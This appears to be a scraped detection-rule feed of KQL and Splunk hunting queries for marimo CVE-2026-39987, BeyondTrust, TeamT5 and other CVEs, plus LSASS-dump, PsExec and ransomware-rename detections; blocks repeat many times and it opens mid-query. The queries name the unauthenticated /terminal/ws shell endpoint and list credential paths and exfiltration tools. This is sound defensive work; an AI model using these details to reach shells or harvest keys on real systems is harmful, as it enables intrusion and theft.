| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-177 use cases1 technique3 kill-chain phases detected
TeamT5 ThreatSonar Anti-Ransomware contains an unrestricted upload of file with dangerous type vulnerability. ThreatSonar Anti-Ransomware does not properly validate the content of uploaded files. Remote attackers with administrator privileges on the product platform can upload malicious files, which can be used to execute arbitrary system commands on the server. Vendor: TeamT5, Product: ThreatSonar Anti-Ransomware. Federal patch due: 2026-03-10.
CVEsCVE-2024-7694
ATT&CKT1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2024-7694")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2024-7694")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-174 use cases1 technique3 kill-chain phases detected
Microsoft Windows Video ActiveX Control contains a remote code execution vulnerability. An attacker could exploit the vulnerability by constructing a specially crafted Web page. When a user views the Web page, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. Vendor: Microsoft, Product: Windows. Federal patch due: 2026-03-10.
CVEsCVE-2008-0015
ATT&CKT1190
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2008-0015")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2008-0015")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-02-137 use cases1 technique3 kill-chain phases detected
BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA)contain an OS command injection vulnerability. Successful exploitation could allow an unauthenticated remote attacker to execute operating system commands in the context of the site user. Successful exploitation requires no authentication or user interaction and may lead to system compromise, including unauthorized access, data exfiltration, and service disruption. Vendor: BeyondTrust, Product: Remote Support (RS) and Privileged Remote Access (PRA). Known ransomware use: Known. Federal patch due: 2026-02-16.
CVEsCVE-2026-1731
ATT&CKT1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-1731")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-1731")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
